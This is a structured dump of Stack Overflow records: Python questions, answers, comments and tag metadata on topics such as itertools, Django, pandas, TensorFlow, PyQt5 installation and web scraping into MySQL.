has body: I am using a list of list with varying sizes. For example alternativesList can include 4 lists in one iteration and 7 lists in the other. What i am trying to do is capture every combination of words in different lists. Lets say that a= [1,2,3] alternativesList.append(a) b = ["a","b","c"] alternativesList.append(b) productList = itertools.product(*alternativesList) will create [(1, 'a'), (1, 'b'), (1, 'c'), (2, 'a'), (2, 'b'), (2, 'c'), (3, 'a'), (3, 'b'), (3, 'c')] One problem here is that my productList can be so large it can cause memory problems. So i am using productList as object and iterate over it later. What i want to know is that is there a way to create same object with numpy which works faster than itertools?
favorite count: 0
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/85954575
tagged with: python-3.x

http://stackoverflow.com/a/49579774
has comment: http://stackoverflow.com/comment/86167715
answers question: http://stackoverflow.com/q/49579058
score: 2
downvote count: 0
upvote count: 2
has body: You shouldn't instantiate a new ArgumentParser in your handle method. It doesn't know about the query_db argument, so you get the unrecognized arguments: query_db error. There are some suggestions of how to handle mutually inclusive arguments on this question. You could use the first suggestion and raise an error if first_row is present in options but last_row isn't: from django.core.management import CommandError def add_arguments(self, parser): parser.add_argument('--first_row', type=int) parser.add_argument('--last_row', type=int) def handle(self, *args, **options): if options['first_row'] is not None and options['last_row'] is None: raise CommandError("--last_row is required when --first_row is specified) ...
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49579058
type: Answer

http://stackoverflow.com/q/49563728
has answer: http://stackoverflow.com/a/49563823
type: UnansweredQuestion
downvote count: 0
answer count: 1
upvote count: 1
linked to: http://stackoverflow.com/q/11941817
favorite count: 0
has comment: http://stackoverflow.com/comment/86135712
tagged with: python-2.7
has title: Python: What is the source of this RuntimeError when checking imported modules?
has body: What I Want to Do: Check the different modules I've imported in my script (Python 2 or 3), and print their names. I'm currently using Python 2.7.12 and 3.6.4. Where I Started: The script simply imports modules, uses list comprehension to find what's there, and prints a list: #!/usr/bin/env python import sys import os import types module_list = [i.__name__ for i in globals().values() if type(i) == types.ModuleType and i in sys.modules.values()] print(module_list) I was initially running this in Python 3, and it works just fine (also fine for Python 2). The output is: ['__builtin__', 'sys', 'os', 'types'] # Python 2. ['builtins', 'sys', 'os', 'types'] # Python 3. At this point, I decided to expand the list comprehension out, as I find it to be good practice in deciphering code/logical flow. So I replaced the single statement with: module_list = [] for i in globals().values(): if type(i) == types.ModuleType and i in sys.modules.values(): module_list.append(i.__name__) Here's where things get hairy. I get a RuntimeError, and the output is now: ... for i in globals().values(): RuntimeError: dictionary changed size during iteration However, it still works in Python 2. I'm now more curious than anything else, and tried a few things. What I Tried: Turned globals().values() into a list: for i in list(globals().values()): if type(i) == types.ModuleType and i in sys.modules.values(): module_list.append(i.__name__) This works as intended in Python 2 or 3. Removed the list() and added in proper main structure: def main(): module_list = [] for i in globals().values(): if type(i) == type(sys) and i in sys.modules.values(): module_list.append(i.__name__) print(module_list) if __name__ == '__main__': main() This works as intended in Python 2 and 3. To Recap: List comprehension works for Python 2 and 3. The for loop only works for Python 2. Wrapping in a list works for Python 2 and 3. Proper main structuring works for Python 2 and 3. The Question: What is it about that for loop in Py…
score: 1
tagged with: python
type: Question
tagged with: python-3.x

http://stackoverflow.com/a/49471006
answers question: http://stackoverflow.com/q/49470124
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49470124
score: 4
has body: As per Heroku Documentation you can read that: A stack is an operating system image that is curated and maintained by Heroku. Stacks are typically based on an existing open-source Linux distribution, such as Ubuntu. The code example you provided shows us that you have used file path names specific for Windows, and this may cause problems when you try to run your code on other platforms. To avoid this kind of problems and make paths platform-independent you should use os.path which takes care of it. You could use for example in your server.py: # absolute path to this file FILE_DIR = os.path.dirname(os.path.abspath(__file__)) # absolute path to this file's root directory PARENT_DIR = os.path.join(FILE_DIR, os.pardir) and then: dir_of_interest = os.path.join(PARENT_DIR, 'src') Read more about os.path.join to see how to handle the example in MonKeyGenerator.py If you are using Python 3.4+ you could also have a look at pathlib. This should give you some instinct on how to follow with the rest of your code example. I hope this helps.
type: Answer
upvote count: 4

http://stackoverflow.com/a/71628292
has body: Use the recommended config as per the VScode docs But also append "internalConsoleOptions": "openOnSessionStart" { // Use IntelliSense to learn about possible attributes. // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "name": "Python: Debug Tests", "type": "python", "request": "launch", "program": "${file}", "purpose": [ "debug-test" // this value is mandatory for it to launch the debug console ], "console": "integratedTerminal", "justMyCode": false, "internalConsoleOptions": "openOnSessionStart" } ] }
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49572658
score: 2
type: Answer

http://stackoverflow.com/comment/85939109
comment on: http://stackoverflow.com/q/49460800
score: 0
type: Comment
type: QuestionComment
has text: I was able to get this working using Multiprocessing.Process() and start() .... Essentially I called Process() N number of times, storing the Process() objects in a list. Then subsequently looped through them and called start(). It also turns out that this runs as expected on CMD, but messes up on Git Bash. (CMD starts these simultaneously, whereas Git Bash starts Process 1, waits for it to finish, before starting Process 2...)

http://stackoverflow.com/comment/86187735
comment on: http://stackoverflow.com/a/49590001
type: Comment
type: AnswerComment
has text: And how is this different that the brute force solution?
score: 0

http://stackoverflow.com/q/49465891
type: AnsweredQuestion
upvote count: 19
has answer: http://stackoverflow.com/a/49497004
accepted answer: http://stackoverflow.com/a/49497004
tagged with: python
has comment: http://stackoverflow.com/comment/85943437
has title: Building an SVM with Tensorflow
tagged with: svm
type: Question
has body: I currently have two numpy arrays: X - (157, 128) - 157 sets of 128 features Y - (157) - classifications of the feature sets This is the code I have written to attempt to build a linear classification model of these features. First of all I adapted the arrays to a Tensorflow dataset: train_input_fn = tf.estimator.inputs.numpy_input_fn( x={"x": X}, y=Y, num_epochs=None, shuffle=True) I then tried to fit an SVM model: svm = tf.contrib.learn.SVM( example_id_column='example_id', # not sure why this is necessary feature_columns=tf.contrib.learn.infer_real_valued_columns_from_input(X), # create feature columns (not sure why this is necessary) l2_regularization=0.1) svm.fit(input_fn=train_input_fn, steps=10) But this just returns the error: WARNING:tensorflow:float64 is not supported by many models, consider casting to float32. WARNING:tensorflow:Using temporary folder as model directory: /tmp/tmpf1mwlR WARNING:tensorflow:tf.variable_op_scope(values, name, default_name) is deprecated, use tf.variable_scope(name, default_name, values) Traceback (most recent call last): File "/var/www/idmy.team/python/train/classifier.py", line 59, in &lt;module&gt; svm.fit(input_fn=train_input_fn, steps=10) File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/util/deprecation.py", line 316, in new_func return func(*args, **kwargs) File "/usr/local/lib/python2.7/dist-packages/tensorflow/contrib/learn/python/learn/estimators/estimator.py", line 480, in fit loss = self._train_model(input_fn=input_fn, hooks=hooks) File "/usr/local/lib/python2.7/dist-packages/tensorflow/contrib/learn/python/learn/estimators/estimator.py", line 985, in _train_model model_fn_ops = self._get_train_ops(features, labels) File "/usr/local/lib/python2.7/dist-packages/tensorflow/contrib/learn/python/learn/estimators/estimator.py", line 1201, in _get_train_ops return self._call_model_fn(features, labels, model_fn_lib.ModeKeys.TRAIN) File "/usr/local/lib/python2.7/dist-packages/tensorflow/contrib/learn/python/le…
answer count: 2
has comment: http://stackoverflow.com/comment/85944115
has answer: http://stackoverflow.com/a/49470884
downvote count: 0
possible better answer: http://stackoverflow.com/a/49470884
tagged with: machine-learning
score: 19
tagged with: tensorflow
favorite count: 0

http://stackoverflow.com/comment/85979971
type: AnswerComment
has text: Unfortunately, I've dataframe and `d` is only for make example more concrete.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49488532

http://stackoverflow.com/a/49496234
has body: You should remove return from loop. The following code will help you. Thanks. movies = [{'name': 'Usual Suspects'}, {'name': 'Hitman'}, {'name': 'Dark Knight'}, {'name': 'The Choice'}, {'name': 'Colonia'}] def peliMayor(p): index = -1 for n in movies: index = index + 1 if movies[index]['name'] == p: print 'True' else: print 'False' peli = 'Thriller' peliMayor(peli)
type: Answer
answers question: http://stackoverflow.com/q/49496096
score: 0

http://stackoverflow.com/comment/85987461
has text: I used it but gave me this error: ValueError: could not convert string to float: 'import numpy as np\n'
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49474265
type: AnswerComment

http://stackoverflow.com/a/49615272
downvote count: 3
answers question: http://stackoverflow.com/q/49589508
has comment: http://stackoverflow.com/comment/86240479
type: Answer
has body: Check the box next to the parameter labeled Required and click Add prompt on the right of the parameter and add the prompt Which year?
score: -3
upvote count: 0

http://stackoverflow.com/comment/86163418
has text: What are trying to accomplish?
score: 0
comment on: http://stackoverflow.com/q/49577890
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49549565
type: Answer
has body: Your code works exactly as you wrote it: If my first keyword is 'of' i get a correct string Yes, because 'of' is indeed in your keyword list. If my first keyword is any other word used instead of 'of', i get this instead Yes, because in the example you gave, the only words before 'healthy and fitness' are 'risk', 'to' and 'of', out of which, only 'of' is in the keyword list you provided. If you wish to get the same result for the second example, you'll need to add 'to' to the keyword list
answers question: http://stackoverflow.com/q/49547604
score: 0

http://stackoverflow.com/q/49585442
type: AnsweredQuestion
has body: I'm trying to install PyQt5 on my PC to have access to QtDesigner. I'm facing following error during the installation: $ python3 configure.py --qmake=/usr/local/Cellar/qt/5.10.1/bin/qmake --sip=/usr/local/Cellar/sip/4.19.8_2/bin/sip Querying qmake about your Qt installation... Determining the details of your Qt installation... This is the GPL version of PyQt 5.7 (licensed under the GNU General Public License) for Python 3.6.3 on darwin. ...... DBus v1 does not seem to be installed. Qt v5.10.1 is being used. The qmake executable is /usr/local/Cellar/qt/5.10.1/bin/qmake. Qt is built as a shared library. SIP 4.19.8 is being used. The sip executable is /usr/local/Cellar/sip/4.19.8_2/bin/sip. The PyQt5 Python package will be installed in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages. PyQt5 is being built with generated docstrings. PyQt5 is being built with 'protected' redefined as 'public'. The Designer plugin will be installed in /usr/local/Cellar/qt/5.10.1/plugins/designer. The qmlscene plugin will be installed in /usr/local/Cellar/qt/5.10.1/plugins/PyQt5. The PyQt5 PEP 484 stub files will be installed in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/PyQt5. The PyQt5 .sip files will be installed in /Library/Frameworks/Python.framework/Versions/3.6/share/sip/PyQt5. pyuic5, pyrcc5 and pylupdate5 will be installed in /Library/Frameworks/Python.framework/Versions/3.6/bin. The interpreter used by pyuic5 is python3.6. Generating the C++ source for the QtCore module... Error: Unable to create the C++ code. Installation Environment: macOS Sierra (version 10.12.6) PyQt5 GPL 5.7 Qt 5.10 SIP 4.19.8 Two python versions, tried with both versions but same problem. $ python --version Python 2.7.14 $ python3 --version Python 3.6.3 Followed readme instructions for the installation: Installed Qt using following: $ brew install qt Error: Xcode alone is not sufficient on Sierra. Install the Command Line Tools: xcode-select --…
answer count: 3
tagged with: python
tagged with: macos
has answer: http://stackoverflow.com/a/66948548
favorite count: 0
accepted answer: http://stackoverflow.com/a/49589586
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/67222201
possible better answer: http://stackoverflow.com/a/67222201
tagged with: pyqt
has title: PyQt5 installation error (QtCore Module Error: Unable to create the C++ code)
tagged with: pyqt5
upvote count: 4
tagged with: python-sip
score: 4
has answer: http://stackoverflow.com/a/49589586

http://stackoverflow.com/a/49553252
accepted answer of: http://stackoverflow.com/q/49552335
has body: Apparently, this is an intended behavior (which is cool!). But also apparently, this behavior is not very familiar. If you knew Python 2 for a long time, you would might not be aware of the fact that Python 3 has no methods (as commented above). So in Python 3: &gt;&gt;&gt; class Foo: ... def foo(self, name): ... print("Hello %s" % name) ... &gt;&gt;&gt; Foo.foo &lt;function Foo.foo at 0x7f729a406730&gt; &gt;&gt;&gt; def foo(): ... pass ... &gt;&gt;&gt; foo &lt;function foo at 0x7f729b83ff28&gt; &gt;&gt;&gt; &gt;&gt;&gt; Foo.foo &lt;function Foo.foo at 0x7f729a406730&gt; There is no distinction! In Python 2 however: Python 2.7.14 (default, Feb 2 2018, 02:17:12) [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; class Foo: ... def foo(self, name): ... print("Hello %s" % name) ... &gt;&gt;&gt; Foo.foo &lt;unbound method Foo.foo&gt; &gt;&gt;&gt;
has comment: http://stackoverflow.com/comment/86113725
has comment: http://stackoverflow.com/comment/86115101
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/133394687
has comment: http://stackoverflow.com/comment/86116900
has comment: http://stackoverflow.com/comment/86115574
score: 1
answers question: http://stackoverflow.com/q/49552335
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/a/49461417
type: Answer
score: 6
upvote count: 6
answers question: http://stackoverflow.com/q/49461385
has comment: http://stackoverflow.com/comment/85967504
type: AcceptedAnswer
downvote count: 0
has body: There is nothing special about the __init__ method other than it is invoked automatically as part of the construction of an object (__new__ creates the object, and __init__ initializes it). Therefore, you can do whatever you need to do within it. However, you need to make sure that you don't inadvertently do things that would cause operations on a partially initialized object. The use of @property below can solve most of these edge cases. The only difference here is it is better form to call self.method() rather than method(self) in most cases. class Square: def __init__(self, side): self.side = side self.permiter = self.get_perimeter() def get_perimeter(self): return self.side * 4 test_square = Square(10) print(test_square.perimeter) However, I'd like to point out that a property might be better in this case: class Square(): def __init__(self, side): self.side = side; @property def perimeter(self): return self.side * 4 x = Square(10) print(x.perimeter) &gt;&gt;&gt; 40 In this case, the @property decorator converts the perimeter method to a property which can be accessed just like it is another attribute, but it is calculated at the time it is asked for.
has comment: http://stackoverflow.com/comment/85926572
accepted answer of: http://stackoverflow.com/q/49461385
has comment: http://stackoverflow.com/comment/85926273

http://stackoverflow.com/q/49476565
tagged with: python
score: -1
has title: pile recursive prime counter python
has body: I need to check a range of numbers, including them, I got this code but I get an error, and it must be pile recursive. def esPrimo(a): if (a &lt;2): return False; for i in range(2,a): if a%i == 0: return False; return True; def calcularCantidadPrimosEnIntervalo(a, b): if(a&gt;b): return 0; else: if(esPrimo(a)): return calcularCantidadPrimosEnIntervalo(a+1, b) + 1; else: calcularCantidadPrimosEnIntervalo(a+1, b); print("Numeros Primos: " + calcularCantidadPrimosEnIntervalo(1,7)); I get this exception: TypeError: unsupported operand type(s) for +: 'NoneType' and 'int'
type: AnsweredQuestion
upvote count: 0
accepted answer: http://stackoverflow.com/a/49476624
answer count: 1
has comment: http://stackoverflow.com/comment/85955652
has answer: http://stackoverflow.com/a/49476624
has comment: http://stackoverflow.com/comment/85955691
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85955658

http://stackoverflow.com/comment/86153336
score: 1
type: Comment
type: QuestionComment
has text: How are you supposed to know which value is missing?
comment on: http://stackoverflow.com/q/49572891

http://stackoverflow.com/a/49460048
upvote count: 0
type: Answer
has body: the main function is not being called and data isn't defined. It works (without any modification to tree.py) if you change main.py to the code below: #!/usr/bin/python import tree def main(): data = { "A":4, "B":3 } msg = tree.logic(data) print msg if __name__ == "__main__": main()
answers question: http://stackoverflow.com/q/49459950
downvote count: 1
score: -1

http://stackoverflow.com/q/49494784
score: 2
has body: I'm experimenting with tf-idf matching. I followed the tutorial from this article. I would like to know if I can match an input list versus another list of already processed data and then get this script to return the output as potential matches from the existing second list for every item of the input list. I hope one of you guys can put me in the right direction! Thanks!! import pandas as pd pd.set_option('display.max_colwidth', -1) names = pd.read_csv('sample-data/descriptions_1.csv') import re def ngrams(string, n=4): string = re.sub(r'[,-./]|\sBD', r'', str(string)) ngrams = zip(*[string[i:] for i in range(n)]) return [''.join(ngram) for ngram in ngrams] from sklearn.feature_extraction.text import TfidfVectorizer company_names = names['name'] comparer_names = comparer['name'] vectorizer = TfidfVectorizer(min_df=1, analyzer=ngrams) tf_idf_matrix = vectorizer.fit_transform(company_names) import numpy as np from scipy.sparse import csr_matrix import sparse_dot_topn.sparse_dot_topn as ct def awesome_cossim_top(A, B, ntop, lower_bound=0): # force A and B as a CSR matrix. # If they have already been CSR, there is no overhead A = A.tocsr() B = B.tocsr() M, _ = A.shape _, N = B.shape idx_dtype = np.int32 nnz_max = M * ntop indptr = np.zeros(M + 1, dtype=idx_dtype) indices = np.zeros(nnz_max, dtype=idx_dtype) data = np.zeros(nnz_max, dtype=A.dtype) ct.sparse_dot_topn( M, N, np.asarray(A.indptr, dtype=idx_dtype), np.asarray(A.indices, dtype=idx_dtype), A.data, np.asarray(B.indptr, dtype=idx_dtype), np.asarray(B.indices, dtype=idx_dtype), B.data, ntop, lower_bound, indptr, indices, data) return csr_matrix((data, indices, indptr), shape=(M, N)) import time t1 = time.time() matches = awesome_cossim_top(tf_idf_matrix, tf_idf_matrix.transpose(), 30, 0.5) t = time.time()-t1 print("SELFTIMED:", t) def get_matches_df(sparse_matrix, name_vector, top=100): non_zeros = sparse_matrix.nonzero() sparserows = non_zeros[0] sparsecols = non_zeros[1] if top: nr_matches = top else: nr_matc…
answer count: 1
has answer: http://stackoverflow.com/a/55097599
favorite count: 0
type: Question
tagged with: tf-idf
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: python
tagged with: string-matching
has title: Tf-idf match list vs list, instead of one list

http://stackoverflow.com/q/49472333
has comment: http://stackoverflow.com/comment/86008698
has comment: http://stackoverflow.com/comment/85964224
answer count: 0
has comment: http://stackoverflow.com/comment/85947898
has title: Can get into Django project admin fine but blog is getting an error loading page
has comment: http://stackoverflow.com/comment/85961184
has comment: http://stackoverflow.com/comment/85961100
type: Question
tagged with: heroku
has body: I'm getting the error below trying to open my Django app in Heroku. It seems to have deployed successfully and is working from my local pc totally fine. I'm hoping this a simple fix. Thanks Environment: Request Method: GET Request URL: https://djangowaston.herokuapp.com/ Django Version: 1.11.2 Python Version: 3.6.4 Installed Applications: ['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'blog'] Installed Middleware: ['django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware'] Traceback: File "/app/.heroku/python/lib/python3.6/site-packages/django/core/handlers/exception.py" in inner 41. response = get_response(request) File "/app/.heroku/python/lib/python3.6/site-packages/django/core/handlers/base.py" in _get_response 187. response = self.process_exception_by_middleware(e, request) File "/app/.heroku/python/lib/python3.6/site-packages/django/core/handlers/base.py" in _get_response 185. response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/app/blog/views.py" in post_list 30. data = json.dumps(tone_analyzer.tone(post.text, content_type='text/plain', sentences=None, tones='emotion', content_language=None, accept_language=None), indent=1) # converting to string and storing in the data Exception Type: TypeError at / Exception Value: tone() got an unexpected keyword argument 'content_type'
has comment: http://stackoverflow.com/comment/85950590
type: UnansweredQuestion
tagged with: watson
tagged with: django
tagged with: python
score: 0

http://stackoverflow.com/comment/85918669
has text: Now I found another problem - I'm using these as dictionary keys, and it looks like [that mostly eliminates lists](https://stackoverflow.com/questions/7257588/why-cant-i-use-a-list-as-a-dict-key-in-python) of all kinds. (Yes, it says something about using memory location, but just putting a list itself in gives `TypeError: unhashable type: 'list'`) @SrinivasSuresh
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49457375
type: Comment

http://stackoverflow.com/q/49485759
has body: Consider the following data frames: import pandas as pd df1 = pd.DataFrame({'id': list('fghij'), 'A': ['A' + str(i) for i in range(5)]}) A id 0 A0 f 1 A1 g 2 A2 h 3 A3 i 4 A4 j df2 = pd.DataFrame({'id': list('fg'), 'B': ['B' + str(i) for i in range(2)]}) B id 0 B0 f 1 B1 g df3 = pd.DataFrame({'id': list('ij'), 'B': ['B' + str(i) for i in range(3, 5)]}) B id 0 B3 i 1 B4 j I want to merge them to get A id B 0 A0 f B0 1 A1 g B1 2 A2 h NaN 3 A3 i B3 4 A4 j B4 Inspired by this answer I tried final = reduce(lambda l, r: pd.merge(l, r, how='outer', on='id'), [df1, df2, df3]) but unfortunately it yields A id B_x B_y 0 A0 f B0 NaN 1 A1 g B1 NaN 2 A2 h NaN NaN 3 A3 i NaN B3 4 A4 j NaN B4 Additionally, I checked out this question but I can't adapt the solution to my problem. Also, I didn't find any options in the docs for pandas.merge to make this happen. In my real world problem the list of data frames might be much longer and the size of the data frames might be much larger. Is there any "pythonic" way to do this directly and without "postprocessing"? It would be perfect to have a solution that raises an exception if column B of df2 and df3 would overlap (so if there might be multiple candidates for some value in column B of the final data frame).
type: Question
has title: pandas.merge with coinciding column names
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49485799
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/49485799
linked to: http://stackoverflow.com/q/45575165
type: AnsweredQuestion
tagged with: pandas
linked to: http://stackoverflow.com/q/23668427
tagged with: python
tagged with: merge
favorite count: 0

http://stackoverflow.com/a/49594651
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86214010
answers question: http://stackoverflow.com/q/49594055
has comment: http://stackoverflow.com/comment/86196933
upvote count: 1
has comment: http://stackoverflow.com/comment/86211434
has body: Oh! It took me a while before I finally understood the question, whoops. Twilio have API documentation for sending a message and even a Python library with example code. The two links should be enough to help you with this, good luck. EDIT Try using subprocess.getoutput() (https://docs.python.org/3/library/subprocess.html#subprocess.getoutput) You could then (probably) combine this with ast.literal_eval() as such import ast import subprocess out = subprocess.getoutput("mintapi 'email' '******' --accounts") output = ast.literal_eval(out) Then output would end up being the data you need :)
has comment: http://stackoverflow.com/comment/86208316
has comment: http://stackoverflow.com/comment/86210871
has comment: http://stackoverflow.com/comment/86196778
downvote count: 0

joystick
type: Tag
tags question: http://stackoverflow.com/q/49583332
tag name: joystick

http://stackoverflow.com/comment/86035714
comment on: http://stackoverflow.com/q/49515360
has text: @rayryeng would this not return a string?
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49547377
tagged with: python
type: Question
answer count: 0
type: UnansweredQuestion
has title: Web Scraping with BeautifulSoup and inserting into MySQL
downvote count: 0
has comment: http://stackoverflow.com/comment/86102207
has comment: http://stackoverflow.com/comment/86102169
tagged with: pymysql
tagged with: mysql
tagged with: web-scraping
upvote count: 1
has comment: http://stackoverflow.com/comment/86144644
favorite count: 0
tagged with: beautifulsoup
has body: Im working on a project that involves web scraping, putting the data that was extracted into a database, then displaying the information on a webpage.I am doing everything on an Ubuntu 16.04 virtual machine. For this my group is using BeautifulSoup to extract the data which works fine but when I get to inserting the data into a MySQL table i get the error that the table does not exist I am using pymysql to insert the data. Any help would be much appreciated thank you my code is : The commented out part at the end works fine for printing out the information i need. from requests import get from bs4 import BeautifulSoup import pymysql # Connection to database connection = pymysql.connect(host='localhost', user='root', password='ITSE1359', db='SCHOOLS', charset='latin1', cursorclass=pymysql.cursors.DictCursor) pages = [str(i) for i in range(1,3)] for page in pages: response = get('https://www.campusexplorer.com/colleges/public-universities-in-texas/?schooltype=1%7C2%7C3%7C4&amp;instate_tuition=1%3B5&amp;four_year_schooltype=1&amp;state=TX&amp;city_or_zip=&amp;distance=50&amp;major=&amp;page=' + page) html_soup = BeautifulSoup(response.text, 'html.parser') school_names = html_soup.find_all('div', class_ = 'media') school_city = html_soup.find_all('span', class_ = 'school-location') school_programs= html_soup.find_all('p', class_ = 'truncate-4lines') school_rating= html_soup.find_all('div', class_ = 'school-listing-data') school_tuition=html_soup.find_all('span', class_ = 'green') try: with connection.cursor() as cursor: for x in range(len(school_names)): name = (school_names[x].text.rstrip(', TX')) sql = "INSERT INTO `school_tbl`(`name`) VALUES (%s)" cursor.execute(sql, (name)) connection.commit() finally: connection.close() # print(school_city[x].text.rstrip(', TX')) # print(school_programs[x].text.split(';')[1]) # print(school_rating[x].p.b.text) # print(school_tuition[x].text)
has comment: http://stackoverflow.com/comment/86102314
score: 1

http://stackoverflow.com/comment/86142181
comment on: http://stackoverflow.com/q/49566424
score: 1
type: Comment
type: QuestionComment
has text: Meanwhile, normal file I/O is buffered. You probably want to either disable buffering on your logfile, or explicitly `flush` it after each `write` (either in your `write` method, or via a separate API that your calling code can use). This will, however, slow things down. If that's not acceptable, you need to make sure to do it at shutdown—via a `__del__` method, or an `atexit` function, or a signal handler. Or you can just add a `close` method and have your top-level code ensure that it gets called—e.g., with a `try:` `finally: logger.close()` around the main program.

http://stackoverflow.com/comment/85970544
comment on: http://stackoverflow.com/q/49483552
type: Comment
type: QuestionComment
has text: There's no such thing as a blank integer. It sounds like you're passing it strings. Sometimes that will work anyway, but it's not the _right_ thing to do. And, if the column is not nullable, it's definitely not going to work.
score: 0

http://stackoverflow.com/q/49463073
has answer: http://stackoverflow.com/a/49463089
tagged with: numpy
type: AnsweredQuestion
downvote count: 0
answer count: 1
score: 1
upvote count: 1
has title: adding new column with values calculated from other columns
favorite count: 0
type: Question
has body: I was wandering how you could add a new column with values calculated from other columns. Let's say 'small' is one that has a value less than 5. I want to record this information in a new column called 'small' where this column has value 1 if it is short and 0 otherwise. I know you can do that with numpy like this : import pandas as pd import numpy as np rawData = pd.read_csv('data.csv', encoding = 'ISO-8859-1') rawData['small'] = np.where(rawData['value'] &lt; 5, '1', '0') How would you do the same operation without using numpy? I've read about numpy.where() but I still don't get it. Help would be really appreciated thanks!
tagged with: pandas
accepted answer: http://stackoverflow.com/a/49463089
tagged with: python

http://stackoverflow.com/a/49482926
score: 1
type: Answer
has body: The problem that you're asking about is that you're inheriting from list, even though you're not trying to act like a list. All this is doing is causing confusion. In particular, you're letting the list superclass define how your objects get displayed, and since you never do anything like self.append, only self.stack.append, that means it's always going to display like an empty list. Once you fix that, your objects will always print something like this: &lt;__main__.stack at 0x11d919dd8&gt; If you want to customize that, you need to write a __repr__ method, and decide what you want it to look like. class stack: def __init__(self): self.stack = [] self.top = -1 def __repr__(self): return f'&lt;stack({self.stack})&gt;' def isempty(self): return self.stack == [] def push(self,x): S.top = S.top + 1 return self.stack.append(x) There are additional bugs in your code—you've still got a method that mutates the global S instead of self, and you're returning the result of list.append, which always returns None, and maybe more beyond—but these two changes will together solve the specific problem you're asking about.
answers question: http://stackoverflow.com/q/49482860
has comment: http://stackoverflow.com/comment/85969190
has comment: http://stackoverflow.com/comment/85968928
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/85968907
has comment: http://stackoverflow.com/comment/85969419
has comment: http://stackoverflow.com/comment/85969019
has comment: http://stackoverflow.com/comment/85968931
has comment: http://stackoverflow.com/comment/85968961

http://stackoverflow.com/q/49480716
has answer: http://stackoverflow.com/a/49480815
downvote count: 0
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49480819
has comment: http://stackoverflow.com/comment/85964622
has title: type hints for method annotated with @property
has answer: http://stackoverflow.com/a/49480819
has comment: http://stackoverflow.com/comment/93679303
tagged with: python
has body: How do you access type hints for methods annotated with the @property decorator? Normally, this is very straightforward: &gt;&gt;&gt; class Foo: ... def bar(self) -&gt; str: ... pass ... &gt;&gt;&gt; import typing &gt;&gt;&gt; typing.get_type_hints(Foo.bar) {'return': &lt;class 'str'&gt;} But once bar is annotated with @property and made into a property object, it's not obvious: &gt;&gt;&gt; class Foo: ... @property ... def bar(self) -&gt; str: ... pass ... &gt;&gt;&gt; import typing &gt;&gt;&gt; typing.get_type_hints(Foo.bar) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/local/Cellar/python3/3.6.4_2/Frameworks/Python.framework/Versions/3.6/lib/python3.6/typing.py", line 1527, in get_type_hints 'or function.'.format(obj)) TypeError: &lt;property object at 0x1050fcc28&gt; is not a module, class, method, or function. &gt;&gt;&gt; typing.get_type_hints(Foo.bar.__get__) {}
upvote count: 11
score: 11
type: AnsweredQuestion
tagged with: python-3.x
answer count: 2
possible better answer: http://stackoverflow.com/a/49480815

http://stackoverflow.com/q/49564874
has comment: http://stackoverflow.com/comment/86138115
has comment: http://stackoverflow.com/comment/86138318
type: Question
has answer: http://stackoverflow.com/a/49565049
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86138096
has title: Keep % format of float values
has answer: http://stackoverflow.com/a/49574627
has body: How do you keep your float in the % format? df['growth_rate'] = df['growth_rate'].replace('%', '', regex=True).astype(float, errors='ignore')/100 After changing the column from str to floats, how do you change the format from 0.2345 to 23.45%? For example, after the column type was converted to float, it would be like this: growth_rate growth_rate2 growth_rate3 0 0.2345 0.4253 0.3643 1 0.1473 NaN 0.1735 2 NaN 0.6936 0.5925 3 0.2500 0.2746 NaN How do you make it look like this while still keeping the type in float: growth_rate growth_rate2 growth_rate3 0 23.45% 42.53% 36.43% 1 14.73% NaN 17.35% 2 NaN 69.36% 59.25% 3 25.00% 27.46% NaN # NaN is fine, as long as it can be performed in some calculation later on Update: I'm just looking for a simple one-line code if possible. Thanks for your input.
has comment: http://stackoverflow.com/comment/86138015
has comment: http://stackoverflow.com/comment/86138078
answer count: 3
tagged with: pandas
score: 0
has answer: http://stackoverflow.com/a/49580126

http://stackoverflow.com/q/49490807
accepted answer: http://stackoverflow.com/a/49491909
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49491909
has title: Panadas rolling sum based on minutes in python
linked to: http://stackoverflow.com/q/49495233
tagged with: pandas
score: 1
linked to: http://stackoverflow.com/q/46144380
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
